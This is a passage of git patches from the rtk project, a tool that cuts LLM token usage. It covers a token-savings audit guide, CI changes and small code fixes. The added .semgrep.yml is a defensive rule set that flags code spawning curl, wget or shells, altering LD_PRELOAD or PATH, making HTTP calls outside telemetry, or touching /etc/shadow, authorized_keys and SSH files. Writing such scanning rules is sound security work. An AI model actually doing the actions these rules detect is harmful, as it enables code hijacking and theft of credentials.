Breakdown (3 days) +════════════════════════════════════════════════════════════════ +Date Cmds Input Output Saved Save% +──────────────────────────────────────────────────────────────── +2026-01-28 89 380.9K 26.7K 355.8K 93.4% +2026-01-29 102 894.5K 32.4K 863.7K 96.6% +2026-01-30 5 749 55 694 92.7% +──────────────────────────────────────────────────────────────── +TOTAL 196 1.3M 59.2K 1.2M 95.6% +``` + +**Metrics explained:** +- **Cmds**: Number of rtk commands executed +- **Input**: Estimated tokens from raw command output +- **Output**: Actual tokens after rtk filtering +- **Saved**: Input - Output (tokens prevented from reaching LLM) +- **Save%**: Percentage reduction (Saved / Input × 100) + +### Weekly Breakdown + +``` +📊 Weekly Breakdown (1 weeks) +════════════════════════════════════════════════════════════════════════ +Week Cmds Input Output Saved Save% +──────────────────────────────────────────────────────────────────────── +01-26 → 02-01 196 1.3M 59.2K 1.2M 95.6% +──────────────────────────────────────────────────────────────────────── +TOTAL 196 1.3M 59.2K 1.2M 95.6% +``` + +**Week definition**: Sunday to Saturday (ISO week starting Sunday at 00:00) + +### Monthly Breakdown + +``` +📆 Monthly Breakdown (1 months) +════════════════════════════════════════════════════════════════ +Month Cmds Input Output Saved Save% +──────────────────────────────────────────────────────────────── +2026-01 196 1.3M 59.2K 1.2M 95.6% +──────────────────────────────────────────────────────────────── +TOTAL 196 1.3M 59.2K 1.2M 95.6% +``` + +**Month format**: YYYY-MM (calendar month) + +### JSON Export + +```json +{ + "summary": { + "total_commands": 196, + "total_input": 1276098, + "total_output": 59244, + "total_saved": 1220217, + "avg_savings_pct": 95.62 + }, + "daily": [ + { + "date": "2026-01-28", + "commands": 89, + "input_tokens": 380894, + "output_tokens": 26744, + "saved_tokens": 355779, + "savings_pct": 93.41 + } + ], + "weekly": [...], + "monthly": [...] +} +``` + +**Use cases:** +- API integration +- Custom dashboards +- Automated reporting +- Data pipeline ingestion + +### CSV Export + +```csv +# Daily Data +date,commands,input_tokens,output_tokens,saved_tokens,savings_pct +2026-01-28,89,380894,26744,355779,93.41 +2026-01-29,102,894455,32445,863744,96.57 + +# Weekly Data +week_start,week_end,commands,input_tokens,output_tokens,saved_tokens,savings_pct +2026-01-26,2026-02-01,196,1276098,59244,1220217,95.62 + +# Monthly Data +month,commands,input_tokens,output_tokens,saved_tokens,savings_pct +2026-01,196,1276098,59244,1220217,95.62 +``` + +**Use cases:** +- Excel analysis +- Python/R data science +- Google Sheets dashboards +- Matplotlib/seaborn plotting + +## Analysis Workflows + +### Weekly Progress Tracking + +```bash +# Generate weekly report every Monday +rtk gain --weekly --format csv > reports/week-$(date +%Y-%W).csv + +# Compare this week vs last week +rtk gain --weekly | tail -3 +``` + +### Monthly Cost Analysis + +```bash +# Export monthly data for budget review +rtk gain --monthly --format json | jq '.monthly[] | + {month, saved_tokens, quota_pct: (.saved_tokens / 6000000 * 100)}' +``` + +### Data Science Analysis + +```python +import pandas as pd +import subprocess + +# Get CSV data +result = subprocess.run(['rtk', 'gain', '--all', '--format', 'csv'], + capture_output=True, text=True) + +# Parse daily data +lines = result.stdout.split('\n') +daily_start = lines.index('# Daily Data') + 2 +daily_end = lines.index('', daily_start) +daily_df = pd.read_csv(pd.StringIO('\n'.join(lines[daily_start:daily_end]))) + +# Plot savings trend +daily_df['date'] = pd.to_datetime(daily_df['date']) +daily_df.plot(x='date', y='savings_pct', kind='line') +``` + +### Excel Analysis + +1. Export CSV: `rtk gain --all --format csv > rtk-data.csv` +2. Open in Excel +3. Create pivot tables: + - Daily trends (line chart) + - Weekly totals (bar chart) + - Savings % distribution (histogram) + +### Dashboard Creation + +```bash +# Generate dashboard data daily via cron +0 0 * * * rtk gain --all --format json > /var/www/dashboard/rtk-stats.json + +# Serve with static site +cat > index.html <<'EOF' + + + +EOF +``` + +## Understanding Token Savings + +### Token Estimation + +rtk estimates tokens using `text.len() / 4` (4 characters per token average). + +**Accuracy**: ±10% compared to actual LLM tokenization (sufficient for trends). + +### Savings Calculation + +``` +Input Tokens = estimate_tokens(raw_command_output) +Output Tokens = estimate_tokens(rtk_filtered_output) +Saved Tokens = Input - Output +Savings % = (Saved / Input) × 100 +``` + +### Typical Savings by Command + +| Command | Typical Savings | Mechanism | +|---------|----------------|-----------| +| `rtk git status` | 77-93% | Compact stat format | +| `rtk eslint` | 84% | Group by rule | +| `rtk vitest run` | 94-99% | Show failures only | +| `rtk find` | 75% | Tree format | +| `rtk pnpm list` | 70-90% | Compact dependencies | +| `rtk grep` | 70% | Truncate + group | + +## Database Management + +### Inspect Raw Data + +```bash +# Location +ls -lh ~/.local/share/rtk/history.db + +# Schema +sqlite3 ~/.local/share/rtk/history.db ".schema" + +# Recent records +sqlite3 ~/.local/share/rtk/history.db \ + "SELECT timestamp, rtk_cmd, saved_tokens FROM commands + ORDER BY timestamp DESC LIMIT 10" + +# Total database size +sqlite3 ~/.local/share/rtk/history.db \ + "SELECT COUNT(*), + SUM(saved_tokens) as total_saved, + MIN(DATE(timestamp)) as first_record, + MAX(DATE(timestamp)) as last_record + FROM commands" +``` + +### Backup & Restore + +```bash +# Backup +cp ~/.local/share/rtk/history.db ~/backups/rtk-history-$(date +%Y%m%d).db + +# Restore +cp ~/backups/rtk-history-20260128.db ~/.local/share/rtk/history.db + +# Export for migration +sqlite3 ~/.local/share/rtk/history.db .dump > rtk-backup.sql +``` + +### Cleanup + +```bash +# Manual cleanup (older than 90 days) +sqlite3 ~/.local/share/rtk/history.db \ + "DELETE FROM commands WHERE timestamp < datetime('now', '-90 days')" + +# Reset all data +rm ~/.local/share/rtk/history.db +# Next rtk command will recreate database +``` + +## Integration Examples + +### GitHub Actions CI/CD + +```yaml +# .github/workflows/rtk-stats.yml +name: RTK Stats Report +on: + schedule: + - cron: '0 0 * * 1' # Weekly on Monday +jobs: + stats: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Install rtk + run: cargo install --path . + - name: Generate report + run: | + rtk gain --weekly --format json > stats/week-$(date +%Y-%W).json + - name: Commit stats + run: | + git add stats/ + git commit -m "Weekly rtk stats" + git push +``` + +### Slack Bot + +```python +import subprocess +import json +import requests + +def send_rtk_stats(): + result = subprocess.run(['rtk', 'gain', '--format', 'json'], + capture_output=True, text=True) + data = json.loads(result.stdout) + + message = f""" + 📊 *RTK Token Savings Report* + + Total Saved: {data['summary']['total_saved']:,} tokens + Savings Rate: {data['summary']['avg_savings_pct']:.1f}% + Commands: {data['summary']['total_commands']} + """ + + requests.post(SLACK_WEBHOOK_URL, json={'text': message}) +``` + +## Troubleshooting + +### No data showing + +```bash +# Check if database exists +ls -lh ~/.local/share/rtk/history.db + +# Check record count +sqlite3 ~/.local/share/rtk/history.db "SELECT COUNT(*) FROM commands" + +# Run a tracked command to generate data +rtk git status +``` + +### Export fails + +```bash +# Check for pipe errors +rtk gain --format json 2>&1 | tee /tmp/rtk-debug.log | jq . + +# Use release build to avoid warnings +cargo build --release +./target/release/rtk gain --format json +``` + +### Incorrect statistics + +Token estimation is a heuristic. For precise measurements: + +```bash +# Install tiktoken +pip install tiktoken + +# Validate estimation +rtk git status > output.txt +python -c " +import tiktoken +enc = tiktoken.get_encoding('cl100k_base') +text = open('output.txt').read() +print(f'Actual tokens: {len(enc.encode(text))}') +print(f'rtk estimate: {len(text) // 4}') +" +``` + +## Best Practices + +1. **Regular Exports**: `rtk gain --all --format json > monthly-$(date +%Y%m).json` +2. **Trend Analysis**: Compare week-over-week savings to identify optimization opportunities +3. **Command Profiling**: Use `--history` to see which commands save the most +4. **Backup Before Cleanup**: Always backup before manual database operations +5. **CI Integration**: Track savings across team in shared dashboards + +## See Also + +- [README.md](../README.md) - Full rtk documentation +- [CLAUDE.md](../CLAUDE.md) - Claude Code integration guide +- [ARCHITECTURE.md](../contributing/ARCHITECTURE.md) - Technical architecture From 514744e27b0e731f1336d34367d6fa117b57b0b2 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 8 Apr 2026 22:53:27 +0000 Subject: [PATCH 008/204] docs: remove old docs/AUDIT_GUIDE.md path Upstream moved this to docs/usage/AUDIT_GUIDE.md in deda44f. Removing the old path so git resolves the rename correctly on merge. https://claude.ai/code/session_015WXbDdxEU3pXPBtheDkXcd --- docs/AUDIT_GUIDE.md | 432 -------------------------------------------- 1 file changed, 432 deletions(-) delete mode 100644 docs/AUDIT_GUIDE.md diff --git a/docs/AUDIT_GUIDE.md b/docs/AUDIT_GUIDE.md deleted file mode 100644 index 8bcebdffe4..0000000000 --- a/docs/AUDIT_GUIDE.md +++ /dev/null @@ -1,432 +0,0 @@ -# RTK Token Savings Audit Guide - -Complete guide to analyzing your rtk token savings with temporal breakdowns and data exports. - -## Overview - -The `rtk gain` command provides comprehensive analytics for tracking your token savings across time periods. - -**Database Location**: `~/.local/share/rtk/history.db` -**Retention Policy**: 90 days -**Scope**: Global across all projects, worktrees, and Claude sessions - -## Quick Reference - -```bash -# Default summary view -rtk gain - -# Temporal breakdowns -rtk gain --daily # All days since tracking started -rtk gain --weekly # Aggregated by week -rtk gain --monthly # Aggregated by month -rtk gain --all # Show all breakdowns at once - -# Export formats -rtk gain --all --format json > savings.json -rtk gain --all --format csv > savings.csv - -# Combined flags -rtk gain --graph --history --quota # Classic view with extras -rtk gain --daily --weekly --monthly # Multiple breakdowns -``` - -## Command Options - -### Temporal Flags - -| Flag | Description | Output | -|------|-------------|--------| -| `--daily` | Day-by-day breakdown | All days with full metrics | -| `--weekly` | Week-by-week breakdown | Aggregated by Sunday-Saturday weeks | -| `--monthly` | Month-by-month breakdown | Aggregated by calendar month | -| `--all` | All time breakdowns | Daily + Weekly + Monthly combined | - -### Classic Flags (still available) - -| Flag | Description | -|------|-------------| -| `--graph` | ASCII graph of last 30 days | -| `--history` | Recent 10 commands | -| `--quota` | Monthly quota analysis (Pro/5x/20x tiers) | -| `--tier ` | Quota tier: pro, 5x, 20x (default: 20x) | - -### Export Formats - -| Format | Flag | Use Case | -|--------|------|----------| -| `text` | `--format text` (default) | Terminal display | -| `json` | `--format json` | Programmatic analysis, APIs | -| `csv` | `--format csv` | Excel, data analysis, plotting | - -## Output Examples - -### Daily Breakdown - -``` -📅 Daily Breakdown (3 days) -════════════════════════════════════════════════════════════════ -Date Cmds Input Output Saved Save% -──────────────────────────────────────────────────────────────── -2026-01-28 89 380.9K 26.7K 355.8K 93.4% -2026-01-29 102 894.5K 32.4K 863.7K 96.6% -2026-01-30 5 749 55 694 92.7% -──────────────────────────────────────────────────────────────── -TOTAL 196 1.3M 59.2K 1.2M 95.6% -``` - -**Metrics explained:** -- **Cmds**: Number of rtk commands executed -- **Input**: Estimated tokens from raw command output -- **Output**: Actual tokens after rtk filtering -- **Saved**: Input - Output (tokens prevented from reaching LLM) -- **Save%**: Percentage reduction (Saved / Input × 100) - -### Weekly Breakdown - -``` -📊 Weekly Breakdown (1 weeks) -════════════════════════════════════════════════════════════════════════ -Week Cmds Input Output Saved Save% -──────────────────────────────────────────────────────────────────────── -01-26 → 02-01 196 1.3M 59.2K 1.2M 95.6% -──────────────────────────────────────────────────────────────────────── -TOTAL 196 1.3M 59.2K 1.2M 95.6% -``` - -**Week definition**: Sunday to Saturday (ISO week starting Sunday at 00:00) - -### Monthly Breakdown - -``` -📆 Monthly Breakdown (1 months) -════════════════════════════════════════════════════════════════ -Month Cmds Input Output Saved Save% -──────────────────────────────────────────────────────────────── -2026-01 196 1.3M 59.2K 1.2M 95.6% -──────────────────────────────────────────────────────────────── -TOTAL 196 1.3M 59.2K 1.2M 95.6% -``` - -**Month format**: YYYY-MM (calendar month) - -### JSON Export - -```json -{ - "summary": { - "total_commands": 196, - "total_input": 1276098, - "total_output": 59244, - "total_saved": 1220217, - "avg_savings_pct": 95.62 - }, - "daily": [ - { - "date": "2026-01-28", - "commands": 89, - "input_tokens": 380894, - "output_tokens": 26744, - "saved_tokens": 355779, - "savings_pct": 93.41 - } - ], - "weekly": [...], - "monthly": [...] -} -``` - -**Use cases:** -- API integration -- Custom dashboards -- Automated reporting -- Data pipeline ingestion - -### CSV Export - -```csv -# Daily Data -date,commands,input_tokens,output_tokens,saved_tokens,savings_pct -2026-01-28,89,380894,26744,355779,93.41 -2026-01-29,102,894455,32445,863744,96.57 - -# Weekly Data -week_start,week_end,commands,input_tokens,output_tokens,saved_tokens,savings_pct -2026-01-26,2026-02-01,196,1276098,59244,1220217,95.62 - -# Monthly Data -month,commands,input_tokens,output_tokens,saved_tokens,savings_pct -2026-01,196,1276098,59244,1220217,95.62 -``` - -**Use cases:** -- Excel analysis -- Python/R data science -- Google Sheets dashboards -- Matplotlib/seaborn plotting - -## Analysis Workflows - -### Weekly Progress Tracking - -```bash -# Generate weekly report every Monday -rtk gain --weekly --format csv > reports/week-$(date +%Y-%W).csv - -# Compare this week vs last week -rtk gain --weekly | tail -3 -``` - -### Monthly Cost Analysis - -```bash -# Export monthly data for budget review -rtk gain --monthly --format json | jq '.monthly[] | - {month, saved_tokens, quota_pct: (.saved_tokens / 6000000 * 100)}' -``` - -### Data Science Analysis - -```python -import pandas as pd -import subprocess - -# Get CSV data -result = subprocess.run(['rtk', 'gain', '--all', '--format', 'csv'], - capture_output=True, text=True) - -# Parse daily data -lines = result.stdout.split('\n') -daily_start = lines.index('# Daily Data') + 2 -daily_end = lines.index('', daily_start) -daily_df = pd.read_csv(pd.StringIO('\n'.join(lines[daily_start:daily_end]))) - -# Plot savings trend -daily_df['date'] = pd.to_datetime(daily_df['date']) -daily_df.plot(x='date', y='savings_pct', kind='line') -``` - -### Excel Analysis - -1. Export CSV: `rtk gain --all --format csv > rtk-data.csv` -2. Open in Excel -3. Create pivot tables: - - Daily trends (line chart) - - Weekly totals (bar chart) - - Savings % distribution (histogram) - -### Dashboard Creation - -```bash -# Generate dashboard data daily via cron -0 0 * * * rtk gain --all --format json > /var/www/dashboard/rtk-stats.json - -# Serve with static site -cat > index.html <<'EOF' - - - -EOF -``` - -## Understanding Token Savings - -### Token Estimation - -rtk estimates tokens using `text.len() / 4` (4 characters per token average). - -**Accuracy**: ±10% compared to actual LLM tokenization (sufficient for trends). - -### Savings Calculation - -``` -Input Tokens = estimate_tokens(raw_command_output) -Output Tokens = estimate_tokens(rtk_filtered_output) -Saved Tokens = Input - Output -Savings % = (Saved / Input) × 100 -``` - -### Typical Savings by Command - -| Command | Typical Savings | Mechanism | -|---------|----------------|-----------| -| `rtk git status` | 77-93% | Compact stat format | -| `rtk eslint` | 84% | Group by rule | -| `rtk vitest run` | 94-99% | Show failures only | -| `rtk find` | 75% | Tree format | -| `rtk pnpm list` | 70-90% | Compact dependencies | -| `rtk grep` | 70% | Truncate + group | - -## Database Management - -### Inspect Raw Data - -```bash -# Location -ls -lh ~/.local/share/rtk/history.db - -# Schema -sqlite3 ~/.local/share/rtk/history.db ".schema" - -# Recent records -sqlite3 ~/.local/share/rtk/history.db \ - "SELECT timestamp, rtk_cmd, saved_tokens FROM commands - ORDER BY timestamp DESC LIMIT 10" - -# Total database size -sqlite3 ~/.local/share/rtk/history.db \ - "SELECT COUNT(*), - SUM(saved_tokens) as total_saved, - MIN(DATE(timestamp)) as first_record, - MAX(DATE(timestamp)) as last_record - FROM commands" -``` - -### Backup & Restore - -```bash -# Backup -cp ~/.local/share/rtk/history.db ~/backups/rtk-history-$(date +%Y%m%d).db - -# Restore -cp ~/backups/rtk-history-20260128.db ~/.local/share/rtk/history.db - -# Export for migration -sqlite3 ~/.local/share/rtk/history.db .dump > rtk-backup.sql -``` - -### Cleanup - -```bash -# Manual cleanup (older than 90 days) -sqlite3 ~/.local/share/rtk/history.db \ - "DELETE FROM commands WHERE timestamp < datetime('now', '-90 days')" - -# Reset all data -rm ~/.local/share/rtk/history.db -# Next rtk command will recreate database -``` - -## Integration Examples - -### GitHub Actions CI/CD - -```yaml -# .github/workflows/rtk-stats.yml -name: RTK Stats Report -on: - schedule: - - cron: '0 0 * * 1' # Weekly on Monday -jobs: - stats: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - - name: Install rtk - run: cargo install --path . - - name: Generate report - run: | - rtk gain --weekly --format json > stats/week-$(date +%Y-%W).json - - name: Commit stats - run: | - git add stats/ - git commit -m "Weekly rtk stats" - git push -``` - -### Slack Bot - -```python -import subprocess -import json -import requests - -def send_rtk_stats(): - result = subprocess.run(['rtk', 'gain', '--format', 'json'], - capture_output=True, text=True) - data = json.loads(result.stdout) - - message = f""" - 📊 *RTK Token Savings Report* - - Total Saved: {data['summary']['total_saved']:,} tokens - Savings Rate: {data['summary']['avg_savings_pct']:.1f}% - Commands: {data['summary']['total_commands']} - """ - - requests.post(SLACK_WEBHOOK_URL, json={'text': message}) -``` - -## Troubleshooting - -### No data showing - -```bash -# Check if database exists -ls -lh ~/.local/share/rtk/history.db - -# Check record count -sqlite3 ~/.local/share/rtk/history.db "SELECT COUNT(*) FROM commands" - -# Run a tracked command to generate data -rtk git status -``` - -### Export fails - -```bash -# Check for pipe errors -rtk gain --format json 2>&1 | tee /tmp/rtk-debug.log | jq . - -# Use release build to avoid warnings -cargo build --release -./target/release/rtk gain --format json -``` - -### Incorrect statistics - -Token estimation is a heuristic. For precise measurements: - -```bash -# Install tiktoken -pip install tiktoken - -# Validate estimation -rtk git status > output.txt -python -c " -import tiktoken -enc = tiktoken.get_encoding('cl100k_base') -text = open('output.txt').read() -print(f'Actual tokens: {len(enc.encode(text))}') -print(f'rtk estimate: {len(text) // 4}') -" -``` - -## Best Practices - -1. **Regular Exports**: `rtk gain --all --format json > monthly-$(date +%Y%m).json` -2. **Trend Analysis**: Compare week-over-week savings to identify optimization opportunities -3. **Command Profiling**: Use `--history` to see which commands save the most -4. **Backup Before Cleanup**: Always backup before manual database operations -5. **CI Integration**: Track savings across team in shared dashboards - -## See Also - -- [README.md](../README.md) - Full rtk documentation -- [CLAUDE.md](../CLAUDE.md) - Claude Code integration guide -- [ARCHITECTURE.md](../ARCHITECTURE.md) - Technical architecture From 4a228208e3094a0819d10e0c62ba37ee1538698d Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 10 Apr 2026 13:10:01 +0200 Subject: [PATCH 009/204] feat(cicd): enforce cicd sast & package check - semgrep for sast check by yml rules - dependabot for package detection - update CICD doc - clippy -D unsafe_code hard fail --- .github/dependabot.yml | 17 ++++++ .github/workflows/CICD.md | 40 +++++++------- .github/workflows/ci.yml | 16 +++++- .semgrep.yml | 108 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 161 insertions(+), 20 deletions(-) create mode 100644 .github/dependabot.yml create mode 100644 .semgrep.yml diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000000..57dba0f428 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,17 @@ +version: 2 +updates: + - package-ecosystem: "cargo" + directory: "/" + schedule: + interval: "weekly" + labels: + - "dependencies" + open-pull-requests-limit: 5 + + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + labels: + - "dependencies" + - "ci" diff --git a/.github/workflows/CICD.md b/.github/workflows/CICD.md index 53776a00d8..b20e9cff6f 100644 --- a/.github/workflows/CICD.md +++ b/.github/workflows/CICD.md @@ -14,27 +14,29 @@ Trigger: pull_request to develop or master └────────┬─────────┘ │ ┌────────▼─────────┐ - │ clippy │ - └──┬───┬───┬───┬───┘ - │ │ │ │ - ┌──────────────┘ │ │ └──────────────┐ - │ ┌───────┘ └───────┐ │ - ▼ ▼ ▼ ▼ - ┌──────────────┐ ┌──────────────┐ ┌───────────┐ ┌──────────┐ - │ test │ │Security Scan │ │ benchmark │ │ validate │ - │ ubuntu │ │ cargo audit │ │ >=80% │ │ ai agent │ - │ windows │ │ (advisory) │ │ savings │ │ doc │ - │ macos │ │ │ │ │ │ │ - └──────┬───────┘ └──────┬───────┘ └─────┬─────┘ └────┬─────┘ - │ │ │ │ - └────────────────┴───────┬───────┴─────────────┘ - │ - ┌──────────▼─────────┐ - │ All must pass │ - │ to merge │ - └────────────────────┘ + │ clippy │ + │ -D unsafe_code │ + └┬───┬───┬───┬───┬─┘ + │ │ │ │ │ + ┌───────────────┘ │ │ │ └───────────────┐ + │ ┌───────────┘ │ └──────────┐ │ + ▼ ▼ ▼ ▼ ▼ + ┌──────────┐ ┌──────────┐ ┌───────────┐ ┌─────────┐ ┌──────────┐ + │ test │ │ security │ │ semgrep │ │benchmark│ │ doc │ + │ ubuntu │ │ cargo │ │ AST-aware │ │ >=80% │ │ review │ + │ windows │ │ audit │ │ diff-only │ │ savings │ │ ai agent │ + │ macos │ │ patterns │ │ │ │ │ │ │ + └────┬─────┘ └────┬─────┘ └─────┬─────┘ └────┬────┘ └────┬─────┘ + │ │ │ │ │ + └────────────┴─────────┬───┴─────────────┴────────────┘ + │ + ┌──────────▼─────────┐ + │ All must pass │ + │ to merge │ + └────────────────────┘ + DCO check (independent, develop PRs only) + + Dependabot (weekly: Cargo deps + GitHub Actions) ``` ## Merge to develop — pre-release (cd.yml) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a1b2c261e8..9ebb4c4aec 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -46,7 +46,7 @@ jobs: with: components: clippy - uses: Swatinem/rust-cache@v2 - - run: cargo clippy --all-targets + - run: cargo clippy --all-targets -- -D unsafe_code # ─── Parallel gates (all need code to compile) ─── @@ -185,6 +185,20 @@ jobs: echo "- Require approval from 2 maintainers" >> $GITHUB_STEP_SUMMARY echo "- Test in isolated environment before merge" >> $GITHUB_STEP_SUMMARY + semgrep: + name: semgrep security scan + needs: clippy + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: returntocorp/semgrep-action@v1 + with: + config: .semgrep.yml + env: + SEMGREP_BASELINE_REF: ${{ github.event.pull_request.base.sha }} + benchmark: name: benchmark needs: clippy diff --git a/.semgrep.yml b/.semgrep.yml new file mode 100644 index 0000000000..4e8cc1f223 --- /dev/null +++ b/.semgrep.yml @@ -0,0 +1,108 @@ +rules: + - id: dynamic-command-execution + patterns: + - pattern: Command::new($ARG) + - pattern-not: Command::new("...") + message: > + Dynamic shell invocation via Command::new($ARG). + RTK only executes known CLI tools — use string literals, not variables. + languages: [rust] + severity: ERROR + + - id: unsafe-block + pattern: unsafe { ... } + message: > + Unsafe block detected. RTK has no legitimate need for unsafe code. + languages: [rust] + severity: ERROR + + - id: ld-preload-manipulation + pattern-either: + - pattern: $CMD.env("LD_PRELOAD", ...) + - pattern: $CMD.env("LD_LIBRARY_PATH", ...) + message: > + LD_PRELOAD/LD_LIBRARY_PATH manipulation detected. + This can hijack shared library loading — forbidden in RTK. + languages: [rust] + severity: ERROR + + - id: raw-socket-usage + pattern-either: + - pattern: TcpStream::$METHOD(...) + - pattern: UdpSocket::$METHOD(...) + - pattern: TcpListener::$METHOD(...) + message: > + Raw socket usage detected. RTK is a CLI proxy — it should not + open network connections directly. Use ureq in telemetry only. + languages: [rust] + severity: ERROR + + - id: reqwest-forbidden + pattern: reqwest::$METHOD(...) + message: > + reqwest is forbidden in RTK. The project uses ureq for HTTP + (telemetry only). Adding reqwest increases binary size and attack surface. + languages: [rust] + severity: ERROR + + - id: interpreter-execution + pattern-either: + - pattern: Command::new("curl") + - pattern: Command::new("wget") + - pattern: Command::new("python") + - pattern: Command::new("python3") + - pattern: Command::new("node") + - pattern: Command::new("bash") + - pattern: Command::new("sh") + - pattern: Command::new("perl") + - pattern: Command::new("ruby") + message: > + Direct interpreter/downloader execution detected. + RTK proxies user commands — it should never spawn interpreters + or download tools on its own. + languages: [rust] + severity: ERROR + + - id: ureq-outside-telemetry + pattern: ureq::$METHOD(...) + paths: + exclude: + - /src/core/telemetry.rs + message: > + ureq usage outside of src/core/telemetry.rs. + HTTP calls are restricted to the telemetry module to prevent data exfiltration. + languages: [rust] + severity: ERROR + + # ── WARNING rules (non-blocking, flag for review) ── + + - id: path-env-manipulation + pattern-either: + - pattern: $CMD.env("PATH", ...) + - pattern: std::env::set_var("PATH", ...) + - pattern: env::set_var("PATH", ...) + message: > + PATH environment variable manipulation detected. + Hijacking PATH can redirect command resolution to attacker-controlled binaries. + languages: [rust] + severity: WARNING + + - id: sensitive-path-reference + pattern-regex: \.(ssh|bashrc|zshrc|bash_profile|profile)|authorized_keys|/etc/passwd|/etc/shadow + message: > + Reference to sensitive system path detected. + RTK filters should not access dotfiles, SSH keys, or system credential files. + languages: [rust] + severity: WARNING + + - id: filesystem-deletion + pattern-either: + - pattern: fs::remove_file(...) + - pattern: fs::remove_dir_all(...) + - pattern: std::fs::remove_file(...) + - pattern: std::fs::remove_dir_all(...) + message: > + File/directory deletion detected. Expected in hooks/init cleanup, + surprising in a filter module. Verify intent. + languages: [rust] + severity: WARNING From bcbf8ed2b5cdec6af48585ff541a25a049f51c65 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 10 Apr 2026 13:18:41 +0200 Subject: [PATCH 010/204] fix(ci): allow unsafe_code for libc signal handler Only one allow use in the codebase --- src/main.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main.rs b/src/main.rs index 78a85b2488..8e8e038727 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2010,6 +2010,7 @@ fn run_cli() -> Result { static PROXY_CHILD_PID: AtomicU32 = AtomicU32::new(0); #[cfg(unix)] + #[allow(unsafe_code)] { unsafe extern "C" fn handle_signal(sig: libc::c_int) { let pid = PROXY_CHILD_PID.load(Ordering::SeqCst); @@ -2017,7 +2018,6 @@ fn run_cli() -> Result { libc::kill(pid as libc::pid_t, libc::SIGTERM); libc::waitpid(pid as libc::pid_t, std::ptr::null_mut(), 0); } - // Re-raise with default handler so parent sees correct exit status libc::signal(sig, libc::SIG_DFL); libc::raise(sig); } From 8857e1725e483d7e047f1875f68570b8c7efc5a8 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 10 Apr 2026 13:25:01 +0200 Subject: [PATCH 011/204] fix(cicd): semgrep use docker (git action archived) --- .github/workflows/ci.yml | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 9ebb4c4aec..8c342d4e37 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -189,15 +189,13 @@ jobs: name: semgrep security scan needs: clippy runs-on: ubuntu-latest + container: + image: semgrep/semgrep steps: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: returntocorp/semgrep-action@v1 - with: - config: .semgrep.yml - env: - SEMGREP_BASELINE_REF: ${{ github.event.pull_request.base.sha }} + - run: semgrep scan --config .semgrep.yml --baseline-commit ${{ github.event.pull_request.base.sha }} --error benchmark: name: benchmark From 9a50efadc38c71cc4a0f3cb05b46cbe41d925a0c Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 4 Apr 2026 02:39:25 +0200 Subject: [PATCH 012/204] fix(pnpm): install don't take a list of packages Signed-off-by: Nicolas Le Cam --- INSTALL.md | 6 +++--- docs/usage/FEATURES.md | 2 +- src/cmds/js/pnpm_cmd.rs | 48 +++++------------------------------------ src/main.rs | 6 ++---- 4 files changed, 11 insertions(+), 51 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 98457d09a9..bc34175552 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -296,9 +296,9 @@ rtk git push # → "ok ✓ main" ### Pnpm (fork only) ```bash -rtk pnpm list # Dependency tree (-70% tokens) -rtk pnpm outdated # Available updates (-80-90%) -rtk pnpm install pkg # Silent installation +rtk pnpm list # Dependency tree (-70% tokens) +rtk pnpm outdated # Available updates (-80-90%) +rtk pnpm install # Silent installation ``` ### Tests diff --git a/docs/usage/FEATURES.md b/docs/usage/FEATURES.md index 061a604a93..d9b29c1ed2 100644 --- a/docs/usage/FEATURES.md +++ b/docs/usage/FEATURES.md @@ -799,7 +799,7 @@ Detecte automatiquement : prettier, black, ruff format, rustfmt. Applique un fil |----------|-------------|-----------| | `rtk pnpm list [-d N]` | Arbre de dependances compact | ~70% | | `rtk pnpm outdated` | Paquets obsoletes : `pkg: old -> new` | ~80% | -| `rtk pnpm install [pkgs...]` | Filtre les barres de progression | ~60% | +| `rtk pnpm install` | Filtre les barres de progression | ~60% | | `rtk pnpm build` | Delegue au filtre Next.js | ~87% | | `rtk pnpm typecheck` | Delegue au filtre tsc | ~83% | diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 9ec8326201..549be1b4fb 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -262,34 +262,18 @@ fn extract_outdated_text(output: &str) -> Option { } } -/// Validates npm package name according to official rules -fn is_valid_package_name(name: &str) -> bool { - if name.is_empty() || name.len() > 214 { - return false; - } - - // No path traversal - if name.contains("..") { - return false; - } - - // Only safe characters - name.chars() - .all(|c| c.is_alphanumeric() || matches!(c, '@' | '/' | '-' | '_' | '.')) -} - #[derive(Debug, Clone)] pub enum PnpmCommand { List { depth: usize }, Outdated, - Install { packages: Vec }, + Install, } pub fn run(cmd: PnpmCommand, args: &[String], verbose: u8) -> Result { match cmd { PnpmCommand::List { depth } => run_list(depth, args, verbose), PnpmCommand::Outdated => run_outdated(args, verbose), - PnpmCommand::Install { packages } => run_install(&packages, args, verbose), + PnpmCommand::Install => run_install(args, verbose), } } @@ -401,26 +385,12 @@ fn run_outdated(args: &[String], verbose: u8) -> Result { Ok(0) } -fn run_install(packages: &[String], args: &[String], verbose: u8) -> Result { +fn run_install(args: &[String], verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Validate package names to prevent 